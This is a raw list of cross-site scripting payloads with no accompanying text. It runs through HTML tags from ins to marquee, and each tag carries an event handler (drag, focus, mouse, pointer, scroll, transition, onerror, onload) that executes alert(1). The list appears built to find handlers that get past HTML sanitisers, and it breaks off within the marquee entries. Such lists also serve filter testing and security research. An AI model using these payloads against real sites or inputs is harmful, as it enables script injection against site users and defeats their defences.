<ins draggable="true" ondrag="alert(1)" style=display:block>test</ins>
<ins draggable="true" ondragend="alert(1)" style=display:block>test</ins>
<ins draggable="true" ondragenter="alert(1)" style=display:block>test</ins>
<ins draggable="true" ondragleave="alert(1)" style=display:block>test</ins>
<ins draggable="true" ondragstart="alert(1)" style=display:block>test</ins>
<ins id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></ins>
<ins id=x tabindex=1 onfocus=alert(1)></ins>
<ins id=x tabindex=1 onfocusin=alert(1)></ins>
<ins onafterscriptexecute=alert(1)><script>1</script>
<ins onbeforecopy="alert(1)" contenteditable>test</ins>
<ins onbeforecut="alert(1)" contenteditable>test</ins>
<ins onbeforescriptexecute=alert(1)><script>1</script>
<ins onblur=alert(1) id=x tabindex=1 style=display:block>test</ins><input value=clickme>
<ins onclick="alert(1)" style=display:block>test</ins>
<ins oncontextmenu="alert(1)" style=display:block>test</ins>
<ins oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ins oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ins ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</ins>
<ins onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</ins><input value=clickme>
<ins onkeydown="alert(1)" contenteditable style=display:block>test</ins>
<ins onkeypress="alert(1)" contenteditable style=display:block>test</ins>
<ins onkeyup="alert(1)" contenteditable style=display:block>test</ins>
<ins onmousedown="alert(1)" style=display:block>test</ins>
<ins onmouseenter="alert(1)" style=display:block>test</ins>
<ins onmouseleave="alert(1)" style=display:block>test</ins>
<ins onmousemove="alert(1)" style=display:block>test</ins>
<ins onmouseout="alert(1)" style=display:block>test</ins>
<ins onmouseover="alert(1)" style=display:block>test</ins>
<ins onmouseup="alert(1)" style=display:block>test</ins>
<ins onmousewheel=alert(1) style=display:block>requires scrolling
<ins onpaste="alert(1)" contenteditable>test</ins>
<ins onpointerdown=alert(1) style=display:block>XSS</ins>
<ins onpointerenter=alert(1) style=display:block>XSS</ins>
<ins onpointerleave=alert(1) style=display:block>XSS</ins>
<ins onpointermove=alert(1) style=display:block>XSS</ins>
<ins onpointerout=alert(1) style=display:block>XSS</ins>
<ins onpointerover=alert(1) style=display:block>XSS</ins>
<ins onpointerrawupdate=alert(1) style=display:block>XSS</ins>
<ins onpointerup=alert(1) style=display:block>XSS</ins>
<ins onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></ins>
<kbd contenteditable onbeforeinput=alert(1)>test
<kbd draggable="true" ondrag="alert(1)" style=display:block>test</kbd>
<kbd draggable="true" ondragend="alert(1)" style=display:block>test</kbd>
<kbd draggable="true" ondragenter="alert(1)" style=display:block>test</kbd>
<kbd draggable="true" ondragleave="alert(1)" style=display:block>test</kbd>
<kbd draggable="true" ondragstart="alert(1)" style=display:block>test</kbd>
<kbd id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></kbd>
<kbd id=x tabindex=1 onfocus=alert(1)></kbd>
<kbd id=x tabindex=1 onfocusin=alert(1)></kbd>
<kbd onafterscriptexecute=alert(1)><script>1</script>
<kbd onbeforecopy="alert(1)" contenteditable>test</kbd>
<kbd onbeforecut="alert(1)" contenteditable>test</kbd>
<kbd onbeforescriptexecute=alert(1)><script>1</script>
<kbd onblur=alert(1) id=x tabindex=1 style=display:block>test</kbd><input value=clickme>
<kbd onclick="alert(1)" style=display:block>test</kbd>
<kbd oncontextmenu="alert(1)" style=display:block>test</kbd>
<kbd oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<kbd oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<kbd ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</kbd>
<kbd onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</kbd><input value=clickme>
<kbd onkeydown="alert(1)" contenteditable style=display:block>test</kbd>
<kbd onkeypress="alert(1)" contenteditable style=display:block>test</kbd>
<kbd onkeyup="alert(1)" contenteditable style=display:block>test</kbd>
<kbd onmousedown="alert(1)" style=display:block>test</kbd>
<kbd onmouseenter="alert(1)" style=display:block>test</kbd>
<kbd onmouseleave="alert(1)" style=display:block>test</kbd>
<kbd onmousemove="alert(1)" style=display:block>test</kbd>
<kbd onmouseout="alert(1)" style=display:block>test</kbd>
<kbd onmouseover="alert(1)" style=display:block>test</kbd>
<kbd onmouseup="alert(1)" style=display:block>test</kbd>
<kbd onmousewheel=alert(1) style=display:block>requires scrolling
<kbd onpaste="alert(1)" contenteditable>test</kbd>
<kbd onpointerdown=alert(1) style=display:block>XSS</kbd>
<kbd onpointerenter=alert(1) style=display:block>XSS</kbd>
<kbd onpointerleave=alert(1) style=display:block>XSS</kbd>
<kbd onpointermove=alert(1) style=display:block>XSS</kbd>
<kbd onpointerout=alert(1) style=display:block>XSS</kbd>
<kbd onpointerover=alert(1) style=display:block>XSS</kbd>
<kbd onpointerrawupdate=alert(1) style=display:block>XSS</kbd>
<kbd onpointerup=alert(1) style=display:block>XSS</kbd>
<kbd onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></kbd>
<keygen autofocus onfocus=alert(1)>
<keygen autofocus onfocusin=alert(1)>
<keygen contenteditable onbeforeinput=alert(1)>test
<keygen draggable="true" ondrag="alert(1)" style=display:block>test</keygen>
<keygen draggable="true" ondragend="alert(1)" style=display:block>test</keygen>
<keygen draggable="true" ondragenter="alert(1)" style=display:block>test</keygen>
<keygen draggable="true" ondragleave="alert(1)" style=display:block>test</keygen>
<keygen draggable="true" ondragstart="alert(1)" style=display:block>test</keygen>
<keygen id=x onfocus=alert(1)>
<keygen id=x onfocusin=alert(1)>
<keygen id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></keygen>
<keygen onafterscriptexecute=alert(1)><script>1</script>
<keygen onbeforecopy="alert(1)" contenteditable>test</keygen>
<keygen onbeforecut="alert(1)" contenteditable>test</keygen>
<keygen onbeforescriptexecute=alert(1)><script>1</script>
<keygen onblur=alert(1) id=x tabindex=1 style=display:block>test</keygen><input value=clickme>
<keygen onclick="alert(1)" style=display:block>test</keygen>
<keygen oncontextmenu="alert(1)" style=display:block>test</keygen>
<keygen oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<keygen oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<keygen ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</keygen>
<keygen onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</keygen><input value=clickme>
<keygen onkeydown="alert(1)" contenteditable style=display:block>test</keygen>
<keygen onkeypress="alert(1)" contenteditable style=display:block>test</keygen>
<keygen onkeyup="alert(1)" contenteditable style=display:block>test</keygen>
<keygen onmousedown="alert(1)" style=display:block>test</keygen>
<keygen onmouseenter="alert(1)" style=display:block>test</keygen>
<keygen onmouseleave="alert(1)" style=display:block>test</keygen>
<keygen onmousemove="alert(1)" style=display:block>test</keygen>
<keygen onmouseout="alert(1)" style=display:block>test</keygen>
<keygen onmouseover="alert(1)" style=display:block>test</keygen>
<keygen onmouseup="alert(1)" style=display:block>test</keygen>
<keygen onmousewheel=alert(1) style=display:block>requires scrolling
<keygen onpaste="alert(1)" contenteditable>test</keygen>
<keygen onpointerdown=alert(1) style=display:block>XSS</keygen>
<keygen onpointerenter=alert(1) style=display:block>XSS</keygen>
<keygen onpointerleave=alert(1) style=display:block>XSS</keygen>
<keygen onpointermove=alert(1) style=display:block>XSS</keygen>
<keygen onpointerout=alert(1) style=display:block>XSS</keygen>
<keygen onpointerover=alert(1) style=display:block>XSS</keygen>
<keygen onpointerrawupdate=alert(1) style=display:block>XSS</keygen>
<keygen onpointerup=alert(1) style=display:block>XSS</keygen>
<keygen onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></keygen>
<label contenteditable onbeforeinput=alert(1)>test
<label draggable="true" ondrag="alert(1)" style=display:block>test</label>
<label draggable="true" ondragend="alert(1)" style=display:block>test</label>
<label draggable="true" ondragenter="alert(1)" style=display:block>test</label>
<label draggable="true" ondragleave="alert(1)" style=display:block>test</label>
<label draggable="true" ondragstart="alert(1)" style=display:block>test</label>
<label id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></label>
<label id=x tabindex=1 onfocus=alert(1)></label>
<label id=x tabindex=1 onfocusin=alert(1)></label>
<label onafterscriptexecute=alert(1)><script>1</script>
<label onbeforecopy="alert(1)" contenteditable>test</label>
<label onbeforecut="alert(1)" contenteditable>test</label>
<label onbeforescriptexecute=alert(1)><script>1</script>
<label onblur=alert(1) id=x tabindex=1 style=display:block>test</label><input value=clickme>
<label onclick="alert(1)" style=display:block>test</label>
<label oncontextmenu="alert(1)" style=display:block>test</label>
<label oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<label oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<label ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</label>
<label onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</label><input value=clickme>
<label onkeydown="alert(1)" contenteditable style=display:block>test</label>
<label onkeypress="alert(1)" contenteditable style=display:block>test</label>
<label onkeyup="alert(1)" contenteditable style=display:block>test</label>
<label onmousedown="alert(1)" style=display:block>test</label>
<label onmouseenter="alert(1)" style=display:block>test</label>
<label onmouseleave="alert(1)" style=display:block>test</label>
<label onmousemove="alert(1)" style=display:block>test</label>
<label onmouseout="alert(1)" style=display:block>test</label>
<label onmouseover="alert(1)" style=display:block>test</label>
<label onmouseup="alert(1)" style=display:block>test</label>
<label onmousewheel=alert(1) style=display:block>requires scrolling
<label onpaste="alert(1)" contenteditable>test</label>
<label onpointerdown=alert(1) style=display:block>XSS</label>
<label onpointerenter=alert(1) style=display:block>XSS</label>
<label onpointerleave=alert(1) style=display:block>XSS</label>
<label onpointermove=alert(1) style=display:block>XSS</label>
<label onpointerout=alert(1) style=display:block>XSS</label>
<label onpointerover=alert(1) style=display:block>XSS</label>
<label onpointerrawupdate=alert(1) style=display:block>XSS</label>
<label onpointerup=alert(1) style=display:block>XSS</label>
<label onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></label>
<legend contenteditable onbeforeinput=alert(1)>test
<legend draggable="true" ondrag="alert(1)" style=display:block>test</legend>
<legend draggable="true" ondragend="alert(1)" style=display:block>test</legend>
<legend draggable="true" ondragenter="alert(1)" style=display:block>test</legend>
<legend draggable="true" ondragleave="alert(1)" style=display:block>test</legend>
<legend draggable="true" ondragstart="alert(1)" style=display:block>test</legend>
<legend id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></legend>
<legend id=x tabindex=1 onfocus=alert(1)></legend>
<legend id=x tabindex=1 onfocusin=alert(1)></legend>
<legend onafterscriptexecute=alert(1)><script>1</script>
<legend onbeforecopy="alert(1)" contenteditable>test</legend>
<legend onbeforecut="alert(1)" contenteditable>test</legend>
<legend onbeforescriptexecute=alert(1)><script>1</script>
<legend onblur=alert(1) id=x tabindex=1 style=display:block>test</legend><input value=clickme>
<legend onclick="alert(1)" style=display:block>test</legend>
<legend oncontextmenu="alert(1)" style=display:block>test</legend>
<legend oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<legend oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<legend ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</legend>
<legend onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</legend><input value=clickme>
<legend onkeydown="alert(1)" contenteditable style=display:block>test</legend>
<legend onkeypress="alert(1)" contenteditable style=display:block>test</legend>
<legend onkeyup="alert(1)" contenteditable style=display:block>test</legend>
<legend onmousedown="alert(1)" style=display:block>test</legend>
<legend onmouseenter="alert(1)" style=display:block>test</legend>
<legend onmouseleave="alert(1)" style=display:block>test</legend>
<legend onmousemove="alert(1)" style=display:block>test</legend>
<legend onmouseout="alert(1)" style=display:block>test</legend>
<legend onmouseover="alert(1)" style=display:block>test</legend>
<legend onmouseup="alert(1)" style=display:block>test</legend>
<legend onmousewheel=alert(1) style=display:block>requires scrolling
<legend onpaste="alert(1)" contenteditable>test</legend>
<legend onpointerdown=alert(1) style=display:block>XSS</legend>
<legend onpointerenter=alert(1) style=display:block>XSS</legend>
<legend onpointerleave=alert(1) style=display:block>XSS</legend>
<legend onpointermove=alert(1) style=display:block>XSS</legend>
<legend onpointerout=alert(1) style=display:block>XSS</legend>
<legend onpointerover=alert(1) style=display:block>XSS</legend>
<legend onpointerrawupdate=alert(1) style=display:block>XSS</legend>
<legend onpointerup=alert(1) style=display:block>XSS</legend>
<legend onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></legend>
<li contenteditable onbeforeinput=alert(1)>test
<li draggable="true" ondrag="alert(1)" style=display:block>test</li>
<li draggable="true" ondragend="alert(1)" style=display:block>test</li>
<li draggable="true" ondragenter="alert(1)" style=display:block>test</li>
<li draggable="true" ondragleave="alert(1)" style=display:block>test</li>
<li draggable="true" ondragstart="alert(1)" style=display:block>test</li>
<li id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></li>
<li id=x tabindex=1 onfocus=alert(1)></li>
<li id=x tabindex=1 onfocusin=alert(1)></li>
<li onafterscriptexecute=alert(1)><script>1</script>
<li onbeforecopy="alert(1)" contenteditable>test</li>
<li onbeforecut="alert(1)" contenteditable>test</li>
<li onbeforescriptexecute=alert(1)><script>1</script>
<li onblur=alert(1) id=x tabindex=1 style=display:block>test</li><input value=clickme>
<li onclick="alert(1)" style=display:block>test</li>
<li oncontextmenu="alert(1)" style=display:block>test</li>
<li oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<li oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<li ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</li>
<li onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</li><input value=clickme>
<li onkeydown="alert(1)" contenteditable style=display:block>test</li>
<li onkeypress="alert(1)" contenteditable style=display:block>test</li>
<li onkeyup="alert(1)" contenteditable style=display:block>test</li>
<li onmousedown="alert(1)" style=display:block>test</li>
<li onmouseenter="alert(1)" style=display:block>test</li>
<li onmouseleave="alert(1)" style=display:block>test</li>
<li onmousemove="alert(1)" style=display:block>test</li>
<li onmouseout="alert(1)" style=display:block>test</li>
<li onmouseover="alert(1)" style=display:block>test</li>
<li onmouseup="alert(1)" style=display:block>test</li>
<li onmousewheel=alert(1) style=display:block>requires scrolling
<li onpaste="alert(1)" contenteditable>test</li>
<li onpointerdown=alert(1) style=display:block>XSS</li>
<li onpointerenter=alert(1) style=display:block>XSS</li>
<li onpointerleave=alert(1) style=display:block>XSS</li>
<li onpointermove=alert(1) style=display:block>XSS</li>
<li onpointerout=alert(1) style=display:block>XSS</li>
<li onpointerover=alert(1) style=display:block>XSS</li>
<li onpointerrawupdate=alert(1) style=display:block>XSS</li>
<li onpointerup=alert(1) style=display:block>XSS</li>
<li onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></li>
<link contenteditable onbeforeinput=alert(1)>test
<link draggable="true" ondrag="alert(1)" style=display:block>test</link>
<link draggable="true" ondragend="alert(1)" style=display:block>test</link>
<link draggable="true" ondragenter="alert(1)" style=display:block>test</link>
<link draggable="true" ondragleave="alert(1)" style=display:block>test</link>
<link draggable="true" ondragstart="alert(1)" style=display:block>test</link>
<link href=validstyles.css rel=stylesheet onload=alert(1)>
<link id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></link>
<link onafterscriptexecute=alert(1)><script>1</script>
<link onbeforescriptexecute=alert(1)><script>1</script>
<link onblur=alert(1) id=x tabindex=1 style=display:block>test</link><input value=clickme>
<link onclick="alert(1)" style=display:block>test</link>
<link oncontextmenu="alert(1)" style=display:block>test</link>
<link oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<link oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<link ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</link>
<link onfocus=alert(1) id=x tabindex=1 style=display:block>
<link onfocusin=alert(1) id=x tabindex=1 style=display:block>
<link onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</link><input value=clickme>
<link onkeydown="alert(1)" contenteditable style=display:block>test</link>
<link onkeypress="alert(1)" contenteditable style=display:block>test</link>
<link onkeyup="alert(1)" contenteditable style=display:block>test</link>
<link onmousedown="alert(1)" style=display:block>test</link>
<link onmouseenter="alert(1)" style=display:block>test</link>
<link onmouseleave="alert(1)" style=display:block>test</link>
<link onmousemove="alert(1)" style=display:block>test</link>
<link onmouseout="alert(1)" style=display:block>test</link>
<link onmouseover="alert(1)" style=display:block>test</link>
<link onmouseup="alert(1)" style=display:block>test</link>
<link onmousewheel=alert(1) style=display:block>requires scrolling
<link onpointerdown=alert(1) style=display:block>XSS</link>
<link onpointerenter=alert(1) style=display:block>XSS</link>
<link onpointerleave=alert(1) style=display:block>XSS</link>
<link onpointermove=alert(1) style=display:block>XSS</link>
<link onpointerout=alert(1) style=display:block>XSS</link>
<link onpointerover=alert(1) style=display:block>XSS</link>
<link onpointerrawupdate=alert(1) style=display:block>XSS</link>
<link onpointerup=alert(1) style=display:block>XSS</link>
<link onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></link>
<link rel=stylesheet href=1 onerror=alert(1)>
<listing contenteditable onbeforeinput=alert(1)>test
<listing draggable="true" ondrag="alert(1)" style=display:block>test</listing>
<listing draggable="true" ondragend="alert(1)" style=display:block>test</listing>
<listing draggable="true" ondragenter="alert(1)" style=display:block>test</listing>
<listing draggable="true" ondragleave="alert(1)" style=display:block>test</listing>
<listing draggable="true" ondragstart="alert(1)" style=display:block>test</listing>
<listing id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></listing>
<listing id=x tabindex=1 onfocus=alert(1)></listing>
<listing id=x tabindex=1 onfocusin=alert(1)></listing>
<listing onafterscriptexecute=alert(1)><script>1</script>
<listing onbeforecopy="alert(1)" contenteditable>test</listing>
<listing onbeforecut="alert(1)" contenteditable>test</listing>
<listing onbeforescriptexecute=alert(1)><script>1</script>
<listing onblur=alert(1) id=x tabindex=1 style=display:block>test</listing><input value=clickme>
<listing onclick="alert(1)" style=display:block>test</listing>
<listing oncontextmenu="alert(1)" style=display:block>test</listing>
<listing oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<listing oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<listing ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</listing>
<listing onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</listing><input value=clickme>
<listing onkeydown="alert(1)" contenteditable style=display:block>test</listing>
<listing onkeypress="alert(1)" contenteditable style=display:block>test</listing>
<listing onkeyup="alert(1)" contenteditable style=display:block>test</listing>
<listing onmousedown="alert(1)" style=display:block>test</listing>
<listing onmouseenter="alert(1)" style=display:block>test</listing>
<listing onmouseleave="alert(1)" style=display:block>test</listing>
<listing onmousemove="alert(1)" style=display:block>test</listing>
<listing onmouseout="alert(1)" style=display:block>test</listing>
<listing onmouseover="alert(1)" style=display:block>test</listing>
<listing onmouseup="alert(1)" style=display:block>test</listing>
<listing onmousewheel=alert(1) style=display:block>requires scrolling
<listing onpaste="alert(1)" contenteditable>test</listing>
<listing onpointerdown=alert(1) style=display:block>XSS</listing>
<listing onpointerenter=alert(1) style=display:block>XSS</listing>
<listing onpointerleave=alert(1) style=display:block>XSS</listing>
<listing onpointermove=alert(1) style=display:block>XSS</listing>
<listing onpointerout=alert(1) style=display:block>XSS</listing>
<listing onpointerover=alert(1) style=display:block>XSS</listing>
<listing onpointerrawupdate=alert(1) style=display:block>XSS</listing>
<listing onpointerup=alert(1) style=display:block>XSS</listing>
<listing onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></listing>
<main contenteditable onbeforeinput=alert(1)>test
<main draggable="true" ondrag="alert(1)" style=display:block>test</main>
<main draggable="true" ondragend="alert(1)" style=display:block>test</main>
<main draggable="true" ondragenter="alert(1)" style=display:block>test</main>
<main draggable="true" ondragleave="alert(1)" style=display:block>test</main>
<main draggable="true" ondragstart="alert(1)" style=display:block>test</main>
<main id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></main>
<main id=x tabindex=1 onfocus=alert(1)></main>
<main id=x tabindex=1 onfocusin=alert(1)></main>
<main onafterscriptexecute=alert(1)><script>1</script>
<main onbeforecopy="alert(1)" contenteditable>test</main>
<main onbeforecut="alert(1)" contenteditable>test</main>
<main onbeforescriptexecute=alert(1)><script>1</script>
<main onblur=alert(1) id=x tabindex=1 style=display:block>test</main><input value=clickme>
<main onclick="alert(1)" style=display:block>test</main>
<main oncontextmenu="alert(1)" style=display:block>test</main>
<main oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<main oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<main ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</main>
<main onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</main><input value=clickme>
<main onkeydown="alert(1)" contenteditable style=display:block>test</main>
<main onkeypress="alert(1)" contenteditable style=display:block>test</main>
<main onkeyup="alert(1)" contenteditable style=display:block>test</main>
<main onmousedown="alert(1)" style=display:block>test</main>
<main onmouseenter="alert(1)" style=display:block>test</main>
<main onmouseleave="alert(1)" style=display:block>test</main>
<main onmousemove="alert(1)" style=display:block>test</main>
<main onmouseout="alert(1)" style=display:block>test</main>
<main onmouseover="alert(1)" style=display:block>test</main>
<main onmouseup="alert(1)" style=display:block>test</main>
<main onmousewheel=alert(1) style=display:block>requires scrolling
<main onpaste="alert(1)" contenteditable>test</main>
<main onpointerdown=alert(1) style=display:block>XSS</main>
<main onpointerenter=alert(1) style=display:block>XSS</main>
<main onpointerleave=alert(1) style=display:block>XSS</main>
<main onpointermove=alert(1) style=display:block>XSS</main>
<main onpointerout=alert(1) style=display:block>XSS</main>
<main onpointerover=alert(1) style=display:block>XSS</main>
<main onpointerrawupdate=alert(1) style=display:block>XSS</main>
<main onpointerup=alert(1) style=display:block>XSS</main>
<main onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></main>
<map contenteditable onbeforeinput=alert(1)>test
<map draggable="true" ondrag="alert(1)" style=display:block>test</map>
<map draggable="true" ondragend="alert(1)" style=display:block>test</map>
<map draggable="true" ondragenter="alert(1)" style=display:block>test</map>
<map draggable="true" ondragleave="alert(1)" style=display:block>test</map>
<map draggable="true" ondragstart="alert(1)" style=display:block>test</map>
<map id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></map>
<map id=x tabindex=1 onfocus=alert(1)></map>
<map id=x tabindex=1 onfocusin=alert(1)></map>
<map onafterscriptexecute=alert(1)><script>1</script>
<map onbeforecopy="alert(1)" contenteditable>test</map>
<map onbeforecut="alert(1)" contenteditable>test</map>
<map onbeforescriptexecute=alert(1)><script>1</script>
<map onblur=alert(1) id=x tabindex=1 style=display:block>test</map><input value=clickme>
<map onclick="alert(1)" style=display:block>test</map>
<map oncontextmenu="alert(1)" style=display:block>test</map>
<map oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<map oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<map ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</map>
<map onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</map><input value=clickme>
<map onkeydown="alert(1)" contenteditable style=display:block>test</map>
<map onkeypress="alert(1)" contenteditable style=display:block>test</map>
<map onkeyup="alert(1)" contenteditable style=display:block>test</map>
<map onmousedown="alert(1)" style=display:block>test</map>
<map onmouseenter="alert(1)" style=display:block>test</map>
<map onmouseleave="alert(1)" style=display:block>test</map>
<map onmousemove="alert(1)" style=display:block>test</map>
<map onmouseout="alert(1)" style=display:block>test</map>
<map onmouseover="alert(1)" style=display:block>test</map>
<map onmouseup="alert(1)" style=display:block>test</map>
<map onmousewheel=alert(1) style=display:block>requires scrolling
<map onpaste="alert(1)" contenteditable>test</map>
<map onpointerdown=alert(1) style=display:block>XSS</map>
<map onpointerenter=alert(1) style=display:block>XSS</map>
<map onpointerleave=alert(1) style=display:block>XSS</map>
<map onpointermove=alert(1) style=display:block>XSS</map>
<map onpointerout=alert(1) style=display:block>XSS</map>
<map onpointerover=alert(1) style=display:block>XSS</map>
<map onpointerrawupdate=alert(1) style=display:block>XSS</map>
<map onpointerup=alert(1) style=display:block>XSS</map>
<map onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></map>
<mark contenteditable onbeforeinput=alert(1)>test
<mark draggable="true" ondrag="alert(1)" style=display:block>test</mark>
<mark draggable="true" ondragend="alert(1)" style=display:block>test</mark>
<mark draggable="true" ondragenter="alert(1)" style=display:block>test</mark>
<mark draggable="true" ondragleave="alert(1)" style=display:block>test</mark>
<mark draggable="true" ondragstart="alert(1)" style=display:block>test</mark>
<mark id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></mark>
<mark id=x tabindex=1 onfocus=alert(1)></mark>
<mark id=x tabindex=1 onfocusin=alert(1)></mark>
<mark onafterscriptexecute=alert(1)><script>1</script>
<mark onbeforecopy="alert(1)" contenteditable>test</mark>
<mark onbeforecut="alert(1)" contenteditable>test</mark>
<mark onbeforescriptexecute=alert(1)><script>1</script>
<mark onblur=alert(1) id=x tabindex=1 style=display:block>test</mark><input value=clickme>
<mark onclick="alert(1)" style=display:block>test</mark>
<mark oncontextmenu="alert(1)" style=display:block>test</mark>
<mark oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<mark oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<mark ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</mark>
<mark onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</mark><input value=clickme>
<mark onkeydown="alert(1)" contenteditable style=display:block>test</mark>
<mark onkeypress="alert(1)" contenteditable style=display:block>test</mark>
<mark onkeyup="alert(1)" contenteditable style=display:block>test</mark>
<mark onmousedown="alert(1)" style=display:block>test</mark>
<mark onmouseenter="alert(1)" style=display:block>test</mark>
<mark onmouseleave="alert(1)" style=display:block>test</mark>
<mark onmousemove="alert(1)" style=display:block>test</mark>
<mark onmouseout="alert(1)" style=display:block>test</mark>
<mark onmouseover="alert(1)" style=display:block>test</mark>
<mark onmouseup="alert(1)" style=display:block>test</mark>
<mark onmousewheel=alert(1) style=display:block>requires scrolling
<mark onpaste="alert(1)" contenteditable>test</mark>
<mark onpointerdown=alert(1) style=display:block>XSS</mark>
<mark onpointerenter=alert(1) style=display:block>XSS</mark>
<mark onpointerleave=alert(1) style=display:block>XSS</mark>
<mark onpointermove=alert(1) style=display:block>XSS</mark>
<mark onpointerout=alert(1) style=display:block>XSS</mark>
<mark onpointerover=alert(1) style=display:block>XSS</mark>
<mark onpointerrawupdate=alert(1) style=display:block>XSS</mark>
<mark onpointerup=alert(1) style=display:block>XSS</mark>
<mark onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></mark>
<marquee contenteditable onbeforeinput=alert(1)>test
<marquee draggable="true" ondrag="alert(1)" style=display:block>test</marquee>
<marquee draggable="true" ondragend="alert(1)" style=display:block>test</marquee>
<marquee draggable="true" ondragenter="alert(1)" style=display:block>test</marquee>
<marquee draggable="true" ondragleave="alert(1)" style=display:block>test</marquee>
<marquee draggable="true" ondragstart="alert(1)" style=display:block>test</marquee>
<marquee id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></marquee>
<marquee id=x tabindex=1 onfocus=alert(1)></marquee>
<marquee id=x tabindex=1 onfocusin=alert(1)></marquee>
<marquee onafterscriptexecute=alert(1)><script>1</script>
<marquee onbeforecopy="alert(1)" contenteditable>test</marquee>
<marquee onbeforecut="alert(1)" contenteditable>test</marquee>
<marquee onbeforescriptexecute=alert(1)><script>1</script>
